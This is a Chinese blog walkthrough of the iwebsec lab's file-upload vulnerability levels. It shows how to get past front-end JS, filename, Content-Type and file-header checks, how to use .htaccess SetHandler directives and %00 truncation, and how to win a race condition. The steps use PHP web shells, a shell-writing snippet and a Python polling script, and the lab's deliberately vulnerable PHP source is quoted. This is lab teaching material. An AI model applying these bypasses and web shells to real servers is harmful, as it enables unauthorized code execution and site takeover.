• 文件上传漏洞 | iwebsec


    靶场搭建


    1. 参考文章
      https://juejin.cn/post/7068931744547733517
      
      • 1
    2. 出现个小问题,我的端口冲突了,所以换了一个不冲突的端口
      在这里插入图片描述
    3. 访问
      在这里插入图片描述

    文件上传漏洞


    • 定义

    文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。一般都是指上传Web脚本能够被服务器解析的问题。因此我们可以在浏览器禁止JavaScript,也可以上传允许的后缀然后抓包修改。

    • 条件

    上传含有木马的文件
    该文件可以解析

    前端JS过滤绕过


    1. JS检测

      JavaScript检测常见于用户选择文件上传的场景。JavaScript会检测上传文件的后缀是否可以上传,检测过程中上传文件的数据包并不会发送到服务端,只是在客户端浏览器使用JavaScript对数据包进行检测。

    2. 制作php木马文件
      在这里插入图片描述

    3. 上传
      在这里插入图片描述

    4. 不允许上传
      在这里插入图片描述

    5. 制作png木马文件在这里插入图片描述

    6. 上传在这里插入图片描述

    7. 转成repeater
      在这里插入图片描述

    8. 转发png文件
      在这里插入图片描述

    9. 无法解析在这里插入图片描述

    10. 修改文件后缀为php,发送。访问发现解析了。
      在这里插入图片描述

    11. 蚁剑连接
      在这里插入图片描述

    12. 进入后台
      在这里插入图片描述

    13. 源码(看网页源代码)

       <script type="text/javascript">
              function checkFile() {
                  var file = document.getElementsByName('upfile')[0].value;
                  if (file == null || file == "") {
                      alert("你还没有选择任何文件,不能上传!");
                      return false;
                  }
                  //定义允许上传的文件类型
                  var allow_ext = ".jpg|.jpeg|.png|.gif|.bmp|";
                  //提取上传文件的类型
                  var ext_name = file.substring(file.lastIndexOf("."));
                  //alert(ext_name);
                  //alert(ext_name + "|");
                  //判断上传文件类型是否允许上传
                  if (allow_ext.indexOf(ext_name + "|") == -1) {
                      var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
                      alert(errMsg);
                      return false;
                  }
              }
          script>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
      • 18
      • 19
      • 20
      • 21

    文件名过滤绕过


    1. 文件名大小写

      Windows系统下,文件名中的大小写不敏感。tesT.php=TESt.PHP
      linux系统下,文件名是敏感的。tesT.php和TESt.PHP是两个不同的文件

    2. 上传含有一句话木马的png文件
      在这里插入图片描述

    3. 不能上传php文件
      在这里插入图片描述

    4. 将文件名改为大写,上传成功

      在这里插入图片描述

    5. 解析成功
      在这里插入图片描述

    6. 蚁剑连接
      在这里插入图片描述

    7. 源码

       
      	if(is_uploaded_file($_FILES['upfile']['tmp_name']))
      	{ 
      		$upfile=$_FILES["upfile"]; 
      		
      		//获取数组里面的值 
      		$name=$upfile["name"];//上传文件的文件名 
      		$type=substr($name, strrpos($name, '.')+1);//上传文件的类型 
      		$size=$upfile["size"];//上传文件的大小 
      		$tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径 
      		
      		//判断是否为图片 
      		if($type=="php")  //只是匹配php,我们可以大写PHP,Php绕过
      		{
      			echo "";
      			die();
      		}
      		else
      		{
      			$error=$upfile["error"];//上传后系统返回的值 
      			echo "================
      "
      ; echo "上传文件名称是:".$name."
      "
      ; echo "上传文件类型是:".$type."
      "
      ; echo "上传文件大小是:".$size."
      "
      ; echo "上传后系统返回的值是:".$error."
      "
      ; echo "上传文件的临时存放路径是:".$tmp_name."
      "
      ; echo "开始移动上传文件
      "
      ; //把上传的临时文件移动到up目录下面 move_uploaded_file($tmp_name,'up/'.$name); $destination="up/".$name; echo "================
      "
      ; echo "上传信息:
      "
      ; if($error==0) { echo "文件上传成功啦!"; echo "
      图片预览:
      "
      ; echo ".$destination.">"; } } } ?>
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
      • 18
      • 19
      • 20
      • 21
      • 22
      • 23
      • 24
      • 25
      • 26
      • 27
      • 28
      • 29
      • 30
      • 31
      • 32
      • 33
      • 34
      • 35
      • 36
      • 37
      • 38
      • 39
      • 40
      • 41

    Content-Type过滤绕过


    1. Content-Type检测

      在HTTP协议消息头中,使用Content-Type来表示请求和响应中的媒体类型信息。它用来告诉服务端如何处理请求的数据,以及告诉客户端(一般是浏览器)如何解析响应的数据,比如显示图片,解析并展示html等等。

      HTML文档标记:text/html;
      JPEG图片标记:image/jpeg;
      GIF图片标记:image/gif;
      js文档标记:application/javascript;
      xml文件标记:application/xml;

    2. 前端直接上传png格式的文件,此时的Content-Type就为image/png
      在这里插入图片描述

    3. 修改为文件名为php
      在这里插入图片描述

    4. 成功,连蚁剑
      在这里插入图片描述

    5. 源码

       
      	if(is_uploaded_file($_FILES['upfile']['tmp_name'])){ 
      		$upfile=$_FILES["upfile"]; 
      		//获取数组里面的值 
      		$name=$upfile["name"];//上传文件的文件名 
      		$type=$upfile["type"];//上传文件的类型 
      		$size=$upfile["size"];//上传文件的大小 
      		$tmp_name=$upfile["tmp_name"];//上传文件的临时存放路径 
      		
      		//判断是否为图片类型,检查content-type是否符合
      		switch ($type){ 
      			case 'image/pjpeg':$okType=true; 
      			break; 
      			case 'image/jpeg':$okType=true; 
      			break; 
      			case 'image/gif':$okType=true; 
      			break; 
      			case 'image/png':$okType=true; 
      			break; 
      		} 
      		
      		if($okType){ 
      			/** 
      			* 0:文件上传成功
      * 1:超过了文件大小,在php.ini文件中设置
      * 2:超过了文件的大小MAX_FILE_SIZE选项指定的值
      * 3:文件只有部分被上传
      * 4:没有文件被上传
      * 5:上传文件大小为0 */
      $error=$upfile["error"];//上传后系统返回的值 echo "================
      "
      ; echo "上传文件名称是:".$name."
      "
      ; echo "上传文件类型是:".$type."
      "
      ; echo "上传文件大小是:".$size."
      "
      ; echo "上传后系统返回的值是:".$error."
      "
      ; echo "上传文件的临时存放路径是:".$tmp_name."
      "
      ; echo "开始移动上传文件
      "
      ; //把上传的临时文件移动到up目录下面 move_uploaded_file($tmp_name,'up/'.$name); $destination="up/".$name; echo "================
      "
      ; echo "上传信息:
      "
      ; if($error==0){ echo "文件上传成功啦!"; echo "
      图片预览:
      "
      ; echo ".$destination.">"; }elseif ($error==1){ echo "超过了文件大小,在php.ini文件中设置"; }elseif ($error==2){ echo "超过了文件的大小MAX_FILE_SIZE选项指定的值"; }elseif ($error==3){ echo "文件只有部分被上传"; }elseif ($error==4){ echo "没有文件被上传"; }else{ echo "上传文件大小为0"; } }else{ echo "请上传jpg,gif,png等格式的图片!"; } } ?>
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
      • 18
      • 19
      • 20
      • 21
      • 22
      • 23
      • 24
      • 25
      • 26
      • 27
      • 28
      • 29
      • 30
      • 31
      • 32
      • 33
      • 34
      • 35
      • 36
      • 37
      • 38
      • 39
      • 40
      • 41
      • 42
      • 43
      • 44
      • 45
      • 46
      • 47
      • 48
      • 49
      • 50
      • 51
      • 52
      • 53
      • 54
      • 55
      • 56
      • 57
      • 58
      • 59
      • 60
      • 61
      • 62
      • 63

    文件头过滤绕过


    1. 文件头检测

      文件头检测是使用对于文件内容的验证机制,这种方法利用每一个特定类型的文件都会有不太一样的开头或者标志位来表明它们的文件类型。
      在这里插入图片描述

    2. 上传
      在这里插入图片描述

    3. 添加GIF89A
      在这里插入图片描述

      在这里插入图片描述

    4. 访问,解析成功
      在这里插入图片描述

    5. 蚁剑连接
      在这里插入图片描述

    6. 源码

       
      	if(is_uploaded_file($_FILES['upfile']['tmp_name'])){ 
      		......
      		//判断是否为图片 
      		if(!exif_imagetype($_FILES['upfile']['tmp_name'])){   //调用exif_imagetype()检查文件头
      			echo "";
      			die();
      		}else{
      			......
      			}
      	}
      ?>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12

    .htaccess文件上传


    1. .htaccess文件(下面任意一句都可以)

      SetHandler application/x-httpd-php      //含义:将所有的文件都当做PHP执行
      AddType application/x-httpd-php .jpg     //含义:将jpg文件解析为php文件
      AddType application/x-httpd-php .html   //含义:将html文件也能执行.php文件
      AddType application/x-httpd-php .txt     //含义:普通的文本文档也能执行.php文件
      
      • 1
      • 2
      • 3
      • 4
    2. preg_match() 函数 在这里插入图片描述

    3. 成功上传了含有一句话木马的png文件
      在这里插入图片描述

    4. 但是无法解析png文件中的php代码
      在这里插入图片描述

    5. 上传.htaccess文件,这个文件没有被过滤。SetHandler application/x-httpd-php将所有的文件都当做PHP执行
      在这里插入图片描述

    6. 刚刚png文件无法解析,但是现在png文件中的php代码解析成功了
      在这里插入图片描述

    7. 蚁剑
      在这里插入图片描述

    8. 源码

       
      	if(is_uploaded_file($_FILES['upfile']['tmp_name'])){ 
      		......
      		$type=substr($name, strrpos($name, '.')+1);//上传文件的类型 
      		......
      		//判断是否为图片 
      		if (preg_match('/php/i', $type)) {  // i 使php大小写都能匹配
      			echo "";
      			die();
      		}
      	......
      	}
      ?>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13

    文件截断上传


    1. 文件名截断

      00x0是十六进制表示方法,是ASCII码为0的字符。在有些函数处理时,会把这字符当作结束符。系统在对文件名的读取时,如果遇到00x0,就会认为读取已结束。在PHP5.3之后的版本中完全修复了00截断,并且00截断受限于GPCaddslashes函数。

    2. 添加前缀
      在这里插入图片描述

    3. 发包,观测返回的结果
      在这里插入图片描述

    4. %00编码一下
      在这里插入图片描述

    5. 编码结果
      在这里插入图片描述
      分析一下
      在这里插入图片描述

    6. 蚁剑连接
      在这里插入图片描述

    7. 可以观察到只有6.php,没有6.php_74032572.jpg
      在这里插入图片描述

    8. 源码

       
      	if(is_uploaded_file($_FILES['upfile']['tmp_name'])){ 
      		$upfile=$_FILES["upfile"]; 
      		$name=$upfile["name"];
      		$type=substr($name, strrpos($name, '.')+1);
      		$size=$upfile["size"];
      		$tmp_name=$upfile["tmp_name"];
      		$uptypes=array('jpg','jpeg','png','pjpeg','gif','bmp'); 
      		$path = 'up/'.$_POST[path].'_'.rand().'.jpg';  //将 输入的前缀 + 随机生成的数字 作为最终保存的文件名
      		......
      		move_uploaded_file($tmp_name,$path); 
      		......
      	}
      ?>
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14

    条件竞争文件上传


    1. 观察上传文件
      在这里插入图片描述

    2. 分析一下源码逻辑

      
      if (isset($_POST['submit'])){
          $allow_ext = array("gif","png","jpg");  //允许的后缀
      	$uploaddir = 'uploads/';
          $filename = $uploaddir.$_FILES['upfile']['name'];
      	move_uploaded_file($_FILES['upfile']['tmp_name'],$filename);  //1 以上传时的文件名保存
          $file = "./".$filename;  
          echo "文件上传成功: ".$file."\n
      "
      ; sleep(1); //这是我加的,为了爆破减少时间,我加了个时间,增加成功率 $ext = array_pop(explode(".",$_FILES['upfile']['name'])); if (!in_array($ext,$allow_ext)){ //2 判断上传文件的后缀是否符合条件 unlink($file); die("此文件类型不允许上传已删除"); //3 不符合条件就删除 } }else{ die(""); } ?>
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15
      • 16
      • 17
      • 18

      代码逻辑:先以上传时文件名保存,然后检测文件是否符合条件,如果不符合条件就删除该文件。意味着:上传的文件曾经存在过服务器中,我们有可能在它被删除之前成功访问。

      做法:不断上传可以写新的马的shell.php文件,在上传成功后访问shell.php文件,访问的过程中shell.php代码解析然后新建7.php文件写马。这样即使原先的shell.php文件被删除,我们还有新写入的马子。这个过程打的就是时间差。【注意:并不是上传了shell.php文件就写马,必须访问它,在访问的过程中解析才进行写马操作。】

    3. 正常上传png文件进行抓包,send to intruder,进行爆破
      在这里插入图片描述

    4. 条件爆破点
      在这里插入图片描述

    5. 写shell.php的内容
      在这里插入图片描述

      
      	echo 11;
      	fputs(fopen('7.php','w'),'');
      ?>
      
      • 1
      • 2
      • 3
      • 4

      第一句:输出11,这是用脚本访问shell.php当做标记用的。
      第二句:新建7.php,并将内容写入其中。

    6. 设置爆破条件
      在这里插入图片描述

    7. 脚本访问shell.php,在访问的过程解析php代码写入马

      import requests
      def main():
          i=0
          while 1:
              try:
                  print(i,end='\r')
                  test = requests.get("http://20.210.90.167:81/upload/uploads/shell.php ")    #不断访问上传的php文件,为了让shell.php进行代码解析,写入新的马
                  if "11" in test.text:                     
                      print("OK")
                      break
              except Exception as e:
                  pass
              i+=1
      if __name__ == '__main__':
          main()
      
      • 1
      • 2
      • 3
      • 4
      • 5
      • 6
      • 7
      • 8
      • 9
      • 10
      • 11
      • 12
      • 13
      • 14
      • 15

      在这里插入图片描述

    8. 开始爆破
      在这里插入图片描述

    9. 打开upload目录,会看到PHP文件短暂存在过。【这是前几关getshell后进入后台的】
      在这里插入图片描述

    10. 写马成功,蚁剑连接
      在这里插入图片描述

  • 相关阅读:
    Debezium-Embedded 实时监控MySQL数据变更
    树莓派系统安装,使用SSD/U盘启动centos
    七千字带你了解异常处理
    二、MyBatis 框架 XML 标签总结
    设计模式代码实战-责任链模式
    前端收集(bootstrap,html,vue等)
    Redis源码漂流记(二)-搭建Redis调试环境
    JAVA泛型
    2022年杭电多校第四场补题记录
    融云观察:AI Agent 是不是游戏赛道的下一个「赛点」?
  • 原文地址:https://blog.csdn.net/weixin_52116519/article/details/127927071